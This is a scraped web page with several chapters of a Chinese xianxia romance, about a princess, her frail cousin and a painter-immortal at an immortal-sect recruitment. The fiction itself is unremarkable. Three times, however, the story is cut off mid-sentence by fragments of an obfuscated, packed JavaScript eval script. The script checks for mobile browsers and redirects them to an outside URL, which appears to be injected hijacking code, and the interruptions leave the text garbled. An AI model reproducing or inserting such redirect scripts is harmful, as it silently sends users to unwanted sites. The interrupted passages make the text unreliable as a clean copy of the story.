一笔一笔,青鸟在画纸上一点一点活了过来,章蕴白落下最后一笔,是青鸟的眼睛,这一笔落下,画上的整只鸟忽然就有了神韵,翅膀张开,欲要破纸而飞。 他放下笔,看向墨染青。 墨染青的目光从画移到他的脸上。 两人对视。 他终于开口,“画好了。” 墨染青点头,“看见了。” 雨还在下,落到伞面上,落到树叶上,落到池塘中,沾湿了鞋面,打湿了裙摆。 却再也不会淋到画中的青鸟身上。 这是墨染青和章蕴白的第一次见面。 灰蒙蒙的下雨天,伴着雨水溅落的噼啪声,没有太多的人,没有更多的言语,没有那些繁文缛节。只有雨,只有树,只有一把伞,和伞下的两个人。 就是这样,就是这样简单。 就是这样简单的相遇,墨染青已经不记得自己记了有多久,五年?十年?还是百年? 当那些回忆像潮水一样漫过脑海的时候,最先浮上来的不是王城的热闹喧嚣,不是葬花谷的血泪交织,也不是三十三重天上的刀光剑影。 而是这场猝然相逢的雨。 那时,她还不知道他叫章蕴白。 仙门三派每相隔三十年都会离开三十三重天,来到人间招收弟子。 听说以前不是这样的,不知道多久之前,想要成为三派的弟子,只有跨越万水千山,走到三十三重天脚下,明心见志后方才能被收入门下。 后来却不是这样了,不知道是什么时候改的规矩,三派每隔三十年都会派出门中两位负责人来到人间授课,在此期间挑出合格的弟子人选。 开课前,所有不到二十未曾婚娶的年轻人都可以赶到王城听课。授课期间,凡人需要食宿,这样巨大的钱财耗费,一直由昭国皇室承担。 墨染青恰好赶上了这三十年一遇的机会。 那是开课的第一天,墨染青迟到了。 晨钟敲响的时候,明心殿内已经坐满了人,端坐上首的是神笔门的两位授课老师,日光从殿门处照进来,落到他们一身青白的衣裳上,飘然出尘,恍如谪仙。 两位老师,一位是章蕴白,另一位叫做云晓山。 “入仙门者,第一课,”章蕴白开口,声音虽不大,可经由灵气秘法加持,清清楚楚地落入了座中每一个人的耳朵里。 “不是学什么,而是舍什么。” 朱红的身影就是在这个时候闯进来的,裙裾扫过门槛,步摇晃出细碎的声响。墨染青拉着另一只手,手的主人在跨过门槛时咳嗽一声,脚步也随之慢了下来。 满殿的目光都落在她们身上。 红衣的少女站在日光下,那是一团灼人眼目的红,红裙铺展如盛放的梅,肤白赛霜欺雪,三千青丝如瀑,上面的金步摇更是晃人眼目,像是一幅泼了朱砂的画,秾丽得化不开。 满殿寂静。 座中弟子有人好奇,有人仰头看她,有人不自觉攥紧了衣袖。 墨染青对这样的注视早就已经习以为常,眼波从众人脸上漫不经心地扫过,目光落处,有人低头,有人却更加移不开眼了。 她的美如那日光,让人不自觉靠近,却又不敢直视。 她牵着身后女子的手走上前,朝台上的两人行了一礼,“我们来迟,请老师恕罪。” 身后的墨染霜同样行礼。 章蕴白的目光落在身前的这一抹红上。 墨染青正好抬头看他。 四目相对的那一瞬间,两人眼底都没有丝毫惊讶。 满殿的人都看着这一幕,一个艳极,一个清绝,两个截然不同的人突然走入同一幅画。 10. 和花和月 章蕴白的目光没有移开,“起身,入座。” 墨染青从容起身,“谢过老师。” 然后伸手,染着淡淡蔻丹的手牵着一只苍白透明的手。 墨染霜穿着一身素白的衣裙,脸色苍白,唇色浅淡,整个人像是用水墨轻轻晕染出来的一样,怕是很快就会消散在水波中。 墨染青走在前面,鬓上的金步摇一步一摇,流光溢彩,替身后的墨染霜隔绝了那些探究的视线。 两人来到最后一排不起眼的座位上,可是只要有她在的地方,又怎么会变得不起眼呢,依旧有人偷偷抬头看她。 墨染青的座位旁边是一个陌生的女子,穿着洗得发白的衣裳,垂着头,几缕碎发散落下来,遮住了半边的脸,看不清面容。 察觉到两人走进,那女子微微瑟缩了一下,然后将头埋得更低了。 墨染青随意扫视了一眼,很快就收回了目光,扶着堂姐在另一侧的椅子上坐下。 墨染霜落座时轻轻咳嗽了一声,那女子听见咳嗽声,飞快地抬了一下眼。 目光从墨染霜苍白的脸上掠过,在那袭灼灼耀目的红裙上停顿了一下,然后又飞快地收回了视线。 头埋得更低了。 墨染青挑了一下眉,在她身边落座。 红裙铺开,裙摆轻轻扫过那女子洗得发白的旧衣。 那女子顿时僵住,一动也不敢动。 墨染青没有看她,只是坐下来,理了理衣裙,然后侧过头,对着堂姐弯了弯嘴角。 墨染霜回她一抹淡淡的笑。 那女子偷偷抬眼,从碎发的缝隙里看过去,一个艳若桃李,一个清似芙蓉,她们挨得很近,垂落的发丝几乎是交缠在一起。 她垂下眼,盯着自己脚上那双洗得发白破洞的布鞋,不愿再看。 高台上,章蕴白早已收回了目光,他继续开口:“尘缘不断,道心不生。” 这几个字落入耳中,女子的指尖轻轻蜷了起来。 身旁,那抹朱红就在触手可及的地方,像是一团温暖的火。 她没有再抬头,只是在那团火焰旁边,将自己缩得更小了一些。 另一位老师云晓山说道:“今日第一课,需要你们每人写一封家书。” 有人好奇,有人疑惑。 “写完,便于凡尘诀别。” 殿中起了一阵骚动,有人抿唇,有人低头。 章蕴白广袖一拂,殿中每人的桌上都落下一叠素白的信纸,和一支墨笔。 有人提笔便开始写,墨迹洇开,字迹仓促。 有人皱眉苦思,久久未动。 有人笔尖悬在信纸上,却迟迟落不下笔。 最后一排,墨染青看着面前的信纸,思索一阵,悬腕,落笔。 她想起父皇得知她想拜入仙门时的欲言又止,他说,仙门苦,你受不住的。 她说,那便不受。 他又说,你若去了,便不能再唤朕父皇了。 她说,那便不唤。 墨染青想起了在她很小的时候,父皇说阿青是朕的掌上明珠。 她那时是懂的,她知道自己是被宠着的,被惯着的,被捧在手心里的。她知道自己想要什么都能够得到,不想做什么便能不做。 她什么都懂,所以她才那样骄矜自傲,那样肆无忌惮。 她以为可以一直这样,直到后来母后去世了。 后来父皇还是会说阿青是朕的明珠,只是明珠可以有很多颗,她已经不再是被捧在手心里的那一颗了。 家书写完,高台上,章蕴白广袖一拂,满殿的素白信纸从各自手中飞起,像一群白色的蝴蝶,翩翩飞入他的袖中。 “从今往后,”他说,“凡尘种种,与尔等无关。” 有人低下头去,有人红了眼眶。 “三十三重天之上,有仙门三派,”云晓山开口,“分别是神笔门,藏锋阁,和葬花谷。” “三派各有所长,各有所短,接下来的三个月,三派的负责人每日都会来明心殿授课。三个月之后,三派各自挑选合格之人。” 他停顿一下,“被选中者,随门派负责人去往三十三重天正式踏入修炼之途,未被选中者……” 他看了殿中众人一眼,“自行离开王城,各自归家。” 殿中一静,那点刚刚接触仙门燃起来的兴奋,被这番话浇灭了一大半。 有人忍不住问:“那……那要是被好几派都选中了呢?” “那便随你心意。”章蕴白答道。 有人接着问:“若是没有被想去的门派选中呢?” “那便去选中的。”章蕴白说。 见没有人再问,云晓山继续说:“方才说完三派,现在介绍本门。” 他的声音不疾不徐,“神笔门由上古神眷者与山春秋开宗立派,宗门主旨为:万象为卷,丹青问道。” “你画的若是山水,问的便是天地之道;你画的若是花鸟,问的便是众生之道;你画的若是人物,问的便是本心之道。” “因此,门中又分为三阁。” 云晓山轻轻一抬手,袖中飞出一幅画,对着众人缓缓展开:群山万壑,飞瀑流泉,云雾缭绕之间可见松石之姿。 “第一为山水阁,一山一水皆有情,一草一木皆有心。”他说,“我便是山水阁阁主云晓山,座下若是有人愿意苦修山水画,可来向我请教。” 说完,他将那副山水图收回袖中,又飞出三副人物图: 第一幅图,老者在溪边垂钓,钓竿在水面微微颤动;第二幅图,农夫在田间割麦,镰刀一挥,汗水便顺着脸庞滑落;第三幅图,仕女在花间回首,眼波盈盈流转,似欲语还休。 “第二为人物阁。”他继续说,“绘七情,画六欲。” 说到此处,他停住了言语,看向在一旁的章蕴白。 章蕴白接着往下讲:“第三则是花鸟阁,一花一世界,一鸟一乾坤。” 说着他同样从袖中飞出一幅蝶恋花图:花开一半,花瓣半舒,将开未开;蝶立枝头,翅膀轻轻翕动,欲飞未飞。 花和蝶都停留在了将动未动的一瞬间,让人下意识想要屏住呼吸,生怕惊到了它们。 “我便是花鸟阁阁主,章蕴白。” 他说完这句话,那画上的蝴蝶受了惊,翅膀一扇,翩翩飞舞,在他周身绕了一圈,又飞向殿中的众人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305543|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有人惊呼,有人躲闪,有人忍不住伸手去捉。 那蝴蝶绕着明心殿转了一圈,最后落在最后一排的一袭朱砂红裙上。 墨染霜转头看那只蝶,蝶翼是淡红色的,在墨染青肩膀上轻轻扇动。 墨染青抬头,看向高台上那个眉眼淡漠的人。 章蕴白正看着她。 她肩膀上的蝴蝶。 那只蝴蝶在她身上停留了一会儿,又振翅飞起,飞向了那幅蝶恋花图,它飞到画前,停顿一下,然后一头扎了进去。 满殿的人眼睁睁看着它飞进了画里,落在花瓣上,然后,那朵将开未开的花,动了。 起初只是一点轻微的颤动,像是风过时吹动花瓣轻轻摇曳,然后花瓣自边缘慢慢卷起,一点一点,一寸一寸,向外舒展。 众人屏住了呼吸。 那是一朵牡丹,起初只是浅浅的粉色,随着花瓣舒展,那粉色也越来越深,越来越艳,像是有人用蘸了朱砂的笔一点一点往上加深颜色,又像是花儿憋足了劲,涨红了脸。 开到一半时,它停住,像是累极了。 所有人都看着那朵半开的牡丹,在心中为它紧张。 蝴蝶飞进花蕊深处,那朵牡丹,突然盛放了。 所有的花瓣在一瞬间完全舒展开,层层叠叠,雍容华贵,像是一口气将积攒的力气全部耗尽,在枝头上灼灼盛开。 “真美啊……”有人喃喃道。 “这也太厉害了吧……”有人小声说。 章蕴白继续道:“画修之境,分为三重。” 众人又安静下来。 “第一重,点墨。” 他执笔,抬手,笔尖凝出一滴墨。 “一点墨,可为一石,或为一叶。” 他顿了顿,手腕一挥,那滴墨便从笔尖飞了出去,化作一片墨叶。 那墨叶从墨染青眼前而过,上面的叶脉清晰可见,然后又瞬间化作一缕墨色,消散在空气当中。 她抬眼看向高台上的人。 他却没有看她,只是继续道:“第二重,绘形。” 章蕴白执笔在画纸上勾勒,起初只有墨色线条,渐渐又有了羽毛,几笔之后点睛,一只雀儿便成了形,然后“啾啾”叫出了声。 满殿的人都听见了。 章蕴白继续说,“第三重,得意。” 他指着先前那幅牡丹蝴蝶图,“这便是得意之作,形神之外,得其意,予其生。” 有人不自觉喃喃道:“这……这是怎么做到的……” 章蕴白看向满殿的弟子,目光从每一个人脸上略过。 最后一排,那抹朱红色的身影微微仰着脸,看着他。 他正好也看过来,四目相对,一瞬间又错开。 章蕴白收回目光。 “今日就到这里,”他说,“明日轮到藏锋阁讲剑。” 他顿了顿,“想听的,莫要迟到了。” 章蕴白说这句话的时候,没有看任何人。 坐在最后一排的墨染青总感觉他意有所指。 她抿了抿唇,看向身旁又在咳嗽的墨染霜。 心想,明天肯定是不会迟到了。 11. 和花和月 殿中众人三三两两起身离去。 “走吧。”墨染霜说。 墨染青点点头,扶着她站起来。有好奇的目光看过来,看见墨染霜苍白的脸,又看见那一抹灼目的红,然后移开视线匆匆离开。 她们走得不快,墨染霜患有心疾,不能做太过剧烈之事。 角落里那个身影仍然坐在原地。 墨染霜回头看了她一眼,那女子依旧低垂着头,隔着散落的碎发,看不清面容。 “姑娘要先走吗?”她问。 那女子似乎惊了一下,抬起头来,那双眼睛对上墨染霜的目光顿时一颤。她胡乱点了点头,从座位上起身,低着头匆匆往外走。 墨染青看着她的背影消失在人群中。 “走吧。”墨染霜轻轻扯了扯她的衣袖。 两人继续往外走,走到殿门处,日光从门外倾泻进来,刺得墨染青微微眯眼。 正要踏出门槛,一个身影挡住了去路,也挡住了那道光。 “阿霜。”那声音低沉,带着压抑的怒气。 墨染青的脚步一顿,抬起头,只见一个年轻男子站在门槛外,正好堵住了去路。 眼前的男子身着靛蓝锦袍,腰束玉带,发冠上镶嵌着成色极好的白玉。相貌堂堂,眉眼端正,此刻正皱着眉,目光越过墨染青,直直落在了她身后之人的身上。 “阿霜,你随我出来。”他又唤一声。 墨染霜的脸色比方才更白了几分,她没有动。 墨染青也没有动,微微侧身,将她挡在了身后。 “顾如翼,你敢拦我的路?”墨染青扬起下巴朝他发问,带着与生俱来的骄矜。 顾如翼的目光这才落到她身上,红裙灼目,金饰流光,他将眉头皱得更紧了,“公主殿下,这是我和阿霜之间的事。” 他继续将目光看向墨染霜。 墨染霜垂着眼,没看他。 墨染青将他上下打量一番,“阿霜?” 语气里带着几分玩味,“你该称她为郡主的。” “你……”他脸色微变,“殿下,阿霜是我未婚妻,我这样唤她自是合乎礼仪的。” “合乎礼仪?”墨染青笑了。 “你敢拦本公主的路,”她目光骤然冷下来,“礼义廉耻都学到狗肚子里去了?” 顾如翼被她的话一噎,说不出辩驳的话来,只死死地盯着在她身后的那个素白身影。 “阿霜,”他将声音放软了些,恳求道:“你出来,我们好好说,你为什么要参加仙门选拔?你知不知道这意味着什么?” 墨染霜仍然没有动。 “意味着你不能再是郡主了,不能再是……不能再是我的妻子了!” 他的声音渐渐变高,“你知不知道我等了你多久?你身体不好,我等你修养好,可是现在呢?你要参加选拔!你要拜入仙门!你要……你要抛弃我?” 他的声音在说到最后一句的时候低了下去。 墨染青转头看向墨染霜。 她仍然是那副苍白虚弱的模样,抬起眼,看向顾如翼。 “我没有让你等。”声音也是低低的。 “你说什么?”顾如翼愣住了。 “我说,”墨染霜的声音还是不大,“我没有让你等。” 她顿住,微微喘息一声,继续说:“从一开始,我就没有答应过这门婚事。” 顾如翼的脸色彻底变了。 “没有答应?”他上前一步,声音中满是难以置信,“你父王答应,母妃答应,两家长辈都过了眼,换了庚贴,你现在跟我说你没有答应?!” “他们答应,”墨染霜看着他,“不是我答应的。” 顾如翼张了张嘴,“父母之言,媒妁之约……” 墨染青看着他那个样子,冷笑一声,“你们两家人,一家以为阿霜会答应,一家以为阿霜会认命,可怜我们阿霜,说过多少次的话,没人当真。” 他被这番话说得脸色青一阵,白一阵的,半晌才说出一句:“那你现在是要做自己的主了?你来参加仙门选拔,就是为了和我退婚?” 墨染霜没有回答,只淡淡地看了他一眼。 顾如翼见她这样,声音再次软和下来,带着恳求道:“阿霜,你听我说,仙门不是那么好进的,你身体不好,去了也是受苦。你跟我回去,我帮你请最好的大夫调养,我……我什么都依你,什么都答应你,你不想现在就成亲,我可以等你,等你……” “等多久?”墨染青突然开口问。 顾如翼说话被打断,神情不悦地看着她。 墨染青却笑出了声,“等她死吗?” 他脸色一变,“你!” “我什么?”墨染青收起了笑容,冷眼看着他,“你刚才说什么都依她,她现在想入仙门,你依吗?你说等她?等她死了你好另娶一房是吗?” 她上前一步,红裙灼灼,逼得他往后小退半步。 “我告诉你,”她说,“阿霜这条命是她自己的,她活着一天,就应该为自己而活,而不是为了父王母妃!更不是为了你!” 她顿了顿,“她说不愿意嫁人,你可听清了?” 顾如翼站在那里,脸色瞬间惨白。 墨染青没有再给他一个多余的眼神,她转过身,牵起墨染霜的手,从他身侧绕过去。 日光将两个人的身影拉长,影子交叠在一起,慢慢走远。 顾如翼站在原地,看着那两道背影,无声地攥紧了拳头。 走出一段路,墨染霜突然轻轻笑出了声。 “你笑什么?”墨染青偏头看她。 “没什么。”墨染霜看着前方的青石小路,眉眼舒展着,“只是突然觉得,今日的天气比往常都要好。” 墨染青愣了一下,想起她平日里总是闷在屋子里,帘子遮得严严实实,生怕吹了一点风。太医说她身子虚,要好好将养着,不能受风寒,不能晒太久,不能走太远。 可今日她走在日光下,头上没有帷帽,身上没有披风,日光落在她苍白的脸上,竟显出几分透明的暖意来。 “阿霜。”墨染青突然开口。 “嗯?”墨染霜转头看她。 “你今日……似乎和以往不同了。” “阿青。”墨染霜认真看着她,“谢谢你。” 墨染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305544|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青愣了一下,“谢我什么?” “谢你今早拉着我过来。”墨染霜说,“如果不是你,我可能……就不会来了。” 墨染青张了张嘴,想说些什么,却一时说不出来。 墨染霜继续说下去,“其实昨晚我犹豫了很久,我想过,要不就不来了吧,反正来了也……” “阿霜!”墨染青打断她。 墨染霜将还未出口的话咽了回去,看着她。 墨染青突然伸出手,在她额头上弹了一下。 不重,轻轻的,就像小时候那样。 墨染霜愣了一下,然后弯起嘴角。 “你再说这种话,”墨染青板着脸,“我就把你养的花全都搬到我的宫殿里去。” 墨染霜被她这话逗笑了,不敢笑得太过大声,只是肩膀微微颤着。墨染青看着她的笑容,板着的脸也渐渐绷不住,一起笑了出来。 笑够了,墨染青才开口,声音认真起来,“阿霜,我一直都记着,八岁那年我们就说好的,要一起拜入仙门,缺了谁都不行。” 墨染霜看着她,眼底不自觉闪烁着泪光。 “还有,”墨染青顿了顿,突然扬起下巴,露出那副惯常的骄矜模样,“那个姓顾的,你别理他。什么未婚夫,呸!他也配?他才配不上我们阿霜呢。” 墨染霜没说话,只是看着她。 “等你拜入仙门,就不用再面对这些乱七八糟的东西了。” 墨染青上前握住了她的手。 那只手凉凉的,却紧紧回握住她。 墨染青目露期待道:“你想想,入了仙门你就是仙门弟子。什么顾家,什么婚事庚贴,通通都作废。谁敢来仙门要人?他敢来,你就拿剑刺他,拿墨泼他,拿他做花肥!” 墨染霜听着听着,不自觉红了眼眶。 “阿霜?”墨染青吓了一跳,“你怎么哭了?” 墨染霜摇摇头,垂下眼眸。 泪水滚落,落在墨染青的手背上。 “阿霜,你……你别哭啊……”墨染青想用手将她眼下的泪拭去,又怕弄疼了她,只好拿出手帕轻轻地沾。 “阿青。”墨染霜抬起头来,泪眼婆娑地看着她。 墨染青手中的动作停住。 墨染霜看着她,然后弯起嘴角,笑了。 那笑容里含着泪,却比过往二十年中的任何一个笑容都要灿烂。 “阿青。”她说,“幸好有你。” 墨染青看着她,不知不觉也红了眼眶。她别过眼去,使劲眨了眨眼,将那点不争气的泪意憋了回去,“行了行了,别哭了,再哭我就……” “就怎样?” “就罚你今夜跟我睡!” 墨染霜破涕为笑。 墨染青也笑了。 两人说笑着来到墨染青居住的紫云殿,一进殿门就看见殿内坐着一个人。 墨染青的脚步一顿。 那人穿了一袭湖绿宫装,梳着高高的望仙髻,眉心贴着花钿,妆容精致,姿容婉约。周围跟着两个宫女,四个内监,还有一队禁军。 墨染青看着那张脸,嘴角的笑容一点一点地收了起来。 12. 和花和月 她垂着眼,行了一礼,“见过贵妃娘娘。” 墨染霜也跟着行礼,只是还未来得及动作,就听见一道轻柔的声音:“都起来吧。” 贵妃站起身来,走到她们身边,目光从墨染青脸上略过,落到墨染霜身上,细细打量着。 “郡主都已经出落得这般好了。”贵妃看着她微微一笑道。 墨染霜垂眸不语。 贵妃也不恼,“今早的事,皇上与我说了。” 墨染青抬起头来,“娘娘这是……” “本宫没问你。”贵妃的声音依旧温柔,甚至带着笑意,可那双眼睛一点余光都没有给到墨染青。 她看着墨染霜,“郡主,你是个聪明孩子,你身体不好,这是打娘胎里带来的,你父王母妃为你操碎了心。顾家是书香门第,顾如翼本宫也是见过的,相貌端正,脾气温和,你嫁过去,不会受委屈。” 贵妃话语一顿,语气愈发温和,“本宫知道你心里在想什么,可仙门那条路,不是你该走的。” 她抬手为墨染霜理了理鬓边的碎发,“你这样的身子,能通过仙门的考核吗?拿得动剑吗?画得完一幅画吗?” 墨染霜抬起头,她的眼眶还红着,泪痕未干,“贵妃娘娘,我想试试。” 贵妃轻笑一声,“试试?” 她收回了手,转身往回走,“你拿什么试?拿你这条命试吗?” 她背对着她们,语气依然温和,却让人听不出什么情绪。 “郡主,你是姐姐,怎么也跟着公主胡闹?”贵妃转过身来摇了摇头,“罢了,本宫今日来,也不是为了训斥谁,皇上的意思,本宫已经带到了。郡主,回去好好想想吧。” “你的婚事已经定在了下个月初九,好好准备一下。” 墨染霜脸色一白。 墨染青猛地抬头,“贵妃娘娘!” 贵妃却不再看她们,径自往殿外走去,经过墨染霜身边时,她脚步一顿。 “郡主。”她的声音低得只有两人才能听见,“三十年前,本宫也曾想试一试。” 墨染霜一愣。 贵妃没有回头,“可这世上,不是什么事都是能够试一试的。” 她抬起脚,踏出殿门。 宫女内监们紧随其后,禁军的脚步声渐行渐远。 紫云殿内重新安静下来。 墨染霜站在原地,一动不动。 墨染青握住她的手,才发现凉得吓人。 “阿霜……” 墨染霜低下头,看着自己被握着的手。 “阿青。”她说,“我不会退缩的。” 墨染青看着她,轻声说,“阿霜,你先进去歇着。” 墨染霜抬头看她。 她扯出一个笑容来,“我去给你拿点心,芙蓉糕,好不好?” 墨染霜看着她,张嘴想说什么,最后只是点了点头。 墨染青回屋找出她的红伞,伸手将伞拿起,伞柄微沉,她的手握住伞柄,轻轻一拔。 一道寒光从伞柄中抽出,是一柄剑。 剑身窄而薄,却异常锋利,剑与伞柄浑然一体,握在手中不轻不重,手感正好。 这是皇兄出宫前留给她的。 “阿青。”皇兄当时把伞递给她,笑着说,“这把伞你收着,寻常时候可以用来遮雨,不寻常的时候……” 他没有说完,只是摸了摸她的头。 墨染青将剑收回伞柄中,拿着伞出了紫云殿。 她没有走正路,紫云殿后面有一条小道,穿过去就是御花园,顾如翼此时应该还未走远。 墨染青撑着红伞,不紧不慢地走在宫道上。一路上遇到几个宫女内监恭恭敬敬地向她行礼,她也只是笑着点头,脚步不停。 迈步踏进御花园,这个时辰,日头还不算毒,偶尔有风吹过,带来些许花香。墨染青眯起眼看前方那个靛蓝色的背影,顾如翼果然还没有走远。 她撑着伞,走了过去。 顾如翼听见脚步声,转过头来,看着她撑着红伞走进,脸色一变,却还是朝她行礼,“公主殿下……” 墨染青走到他身边,撑着伞,看他。 “顾如翼。”她笑了笑,“好久不见。” 顾如翼身形一僵,口中忙道:“不敢不敢,不是才刚刚见过……” 墨染青看着他,依旧笑得和气,“听说你和阿霜的亲事定在了下个月?” 顾如翼低下头去,“这……婚事是父母之命,媒妁之言,郡主品貌出众,在下……” “她不想嫁人。”她又说。 “这……”他干笑一声,“公主殿下,这是长辈们定下的婚事,你我在这里说这些,恐怕不妥……” “不妥?” 墨染青气笑了。 她将红伞换到左手,右手握住伞柄,轻轻一抽。 剑刃出伞。 顾如翼只觉得眼前一花,还没反应过来,脖子边上已经多了一道冰冷的锋刃。 他的眼睛当即瞪大,嘴唇也哆嗦着,一个字也说不出来。 墨染青一手撑伞,一手握剑,伞面遮在她的头顶,落下一片阴影。 她的脸上还带着笑。 “顾如翼。”她柔声细语地说,“我方才问你的话,你还没有回答得让我满意。” 顾如翼喉结上下滚动,额头上渗出细密的汗珠。 “我……我……” “你下个月就要娶阿霜?”墨染青问。 顾如翼拼命摇头。 墨染青的笑容深了一些。 “那如果长辈们非要你娶呢?” 顾如翼的嘴唇抖着,“我……我就说……说我不愿意……” “错!”墨染青摇摇头,剑锋往前送了一指,“阿霜上课劳累,你怎么舍得让她如此辛苦地筹备婚事呢?婚事就先往后放一放吧。” “好!好好好!”顾如翼几乎快要哭出来了,“郡主上课辛苦,婚事这些就应该往后放一放!” “记住了。”墨染青用剑在他脖子上轻轻拍了拍,冰凉的锋刃激起一阵鸡皮疙瘩,“在这三个月里,不要想着对阿霜做些什么……” “不会!绝对不会!”顾如翼的声音都变了调,“我回去就跟我爹娘说,这门婚事延后!往后延期两个月!不,延期四个月!” 墨染青看着他,沉默了片刻,然后她收回了剑。 剑入伞柄,严丝合缝,又是一把精致好看的红伞。 她撑着伞,往后退了一步。 “顾如翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305545|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”她看着他,“今日我在御花园赏花,不曾见过你,你呢?” 顾如翼连连点头,“在下也不曾见过殿下。” “那就好。” 墨染青转身,撑着红伞,走了几步,她忽然又停下。 “对了,顾如翼。” 顾如翼浑身一僵。 墨染青没有回头,只是微微侧过脸,露出一截白皙的下颌。 她声音淡淡的,“婚事延期的这三个月里,不要让我再来处理这件事,要是有人再到我和阿霜面前来晃眼,我就只好再来和你讲道理了。” 她顿了顿,“我讲道理的方式,你也见过了。” 红伞轻轻一转,她的身影消失在花木之间。 顾如翼站在原地,脚一软,险些跌倒,后背的衣衫早已被冷汗浸湿。 墨染青本想直接回紫云殿,却在拐角后,脚步一顿。 小径尽头的古树下,站着一个人。 他背对着她,正仰头看树上的那只青鸟。 日光透过树叶的缝隙落下来,在他身上洒下斑驳的光影。 熟悉的背影。 墨染青下意识地握紧了手中的红伞,犹豫着要不要悄悄退开,那人却已经转过身来。 四目相对。 他看着她,目光从她脸上落到她手中的红伞上,又移开。 “墨姑娘。”他微微颔首。 墨染青回过神来,“见过章阁主。” 他开口,“方才可是与人起了争执?” 她抬起头,对上他的眼睛。 她笑了笑,“章阁主说笑了,我不过是去赏花罢了。” 沉默在两人之间蔓延开来。 墨染青忽然有些拿不准他到底有没有看见,那把剑出鞘不过片刻,又隔着花草树木,他若是远远站着…… “伞很漂亮。”他忽然开口。 墨染青抬眼看他,他脸上依旧没什么表情,只是目光似乎在伞上多停留了一下。 “多谢章阁主夸赞,不过是寻常纸伞而已。” 章蕴白点点头,不再说什么。 墨染青觉得自己该走了,可不知道为什么,脚却像是生了根,一步也迈不动。 “章阁主。”她再次开口,“什么样的人才能够被选入仙门呢?” “当然是心性坚韧,心思纯净之人。”他淡淡说道:“贪恋尘事者,不宜入门。” 墨染青微微一怔,“如何才算贪恋尘事呢?” “心中有牵挂,有执念,有放不下的人和事。”他的目光落在她的脸上,“入了仙门,便要与过往做个了断,若是放不下,去了也是煎熬。” 墨染青沉默了片刻。 “章阁主。”她又问,“入了仙门,是不是就不能……与人结发为夫妻?” 她忽然觉得心里有些乱,她不知道自己为什么要问这个问题,也不知道自己在期待什么答案。 她看见那人的眼睫轻轻颤动一下。 “三派中的普通弟子也是可以结为道侣的。”他的声音依旧平静。 墨染青看着他。 “那……”她听见自己的声音,“你呢?” 风从两人身边吹过,古树的叶子沙沙作响,青鸟发出啾啾的清鸣声。 14. 和花和月 一时之间,演武场上剑影纷乱,姿态各异。 有人刺得歪歪扭扭,有人用力过猛差点摔倒,也有人小心翼翼生怕伤了自己。 素和流光负手站在场中,目光一个个扫过,眉头越皱越紧。 “胳膊太高。” “脚下虚浮。” “手腕无力。” 他一路走过去,没有一个人能够让他满意。 走到一个少年面前时,那少年刺出一剑,姿态端正,手臂笔直,剑锋稳稳停在半空,纹丝不动,倒是有模有样。 素和流光的脚步一顿,微微点头,“勉勉强强。” 少年面露喜色,收剑,又刺出一剑,依旧端正,依旧平稳。 “你叫什么?” 少年连忙回答:“谢惊澜。” 素和流光没有再多说什么,抬脚继续往前走,刚走两步,又停了下来。 这一次,他的目光落在了谢惊澜身旁的少年身上。 一模一样的轮廓,一模一样的眉眼,甚至连站姿都像是从一个模子里刻出来的。 可又完全不一样。 他背脊挺得笔直,握着手中的木剑,目视前方,剑出,没有多余的动作,只是最寻常的一刺。 剑锋停在半空,那一瞬间,似乎有什么东西从剑锋上迸发出来。 像是一道风,只一瞬间就消失了。 周围的人都不知道发生了什么,他们只看见他刺出一剑,然后收剑,和刚才的少年没什么不同。 可素和流光看得分明,那是剑气。 虽然微弱,虽然只有一瞬间,但确确实实就是剑气。 素和流光问了和刚才一样的问题:“你叫什么名字?” 少年看着他,依旧平静,“谢惊鸿。” 素和流光点点头,“很好,藏锋阁的门,给你留着。” 说完他继续往前走。 身后,谢惊澜收回了余光,垂下眼,再次举剑,刺出,日光照在他的脸上,喜色尽褪。 一剑,一剑,又一剑。 素和流光继续在人群中穿行,走到墨染霜身后时,脚步一顿。 墨染霜正咬着牙刺出一剑,这一剑歪歪扭扭的,还没刺到一半,手臂就已经支撑不住,无力地垂了下来。 她喘息着,额头上的汗珠大颗大颗地滚落,脸色白得几乎透明。 素和流光盯着她看了片刻,眉头紧蹙。 “再来。” 墨染霜咳嗽两声,再次举起了木剑。 刺出。 还是歪的。 “手腕稳住。” 墨染霜咬住嘴唇,点了点头,她握紧了剑柄,又一次刺出。 这一次比刚才好了一些,可剑尖刚刺出一半,她手腕突然一颤,整条手臂像是被抽空了力气,木剑脱手而出,“哐当”一声落在地上。 周围几个人偷偷看过来,目光里带着同情,也带着几分幸灾乐祸。 墨染霜的脸色更差了,她弯下腰,想去捡那把剑。 “别捡了。”素和流光的声音寒得像霜。 她的手僵在半空中。 素和流光看着她,眼底没有半分温度,“如你这般,不必想着进藏锋阁了。” 墨染霜嘴唇嗫嚅着,却说不出话来。 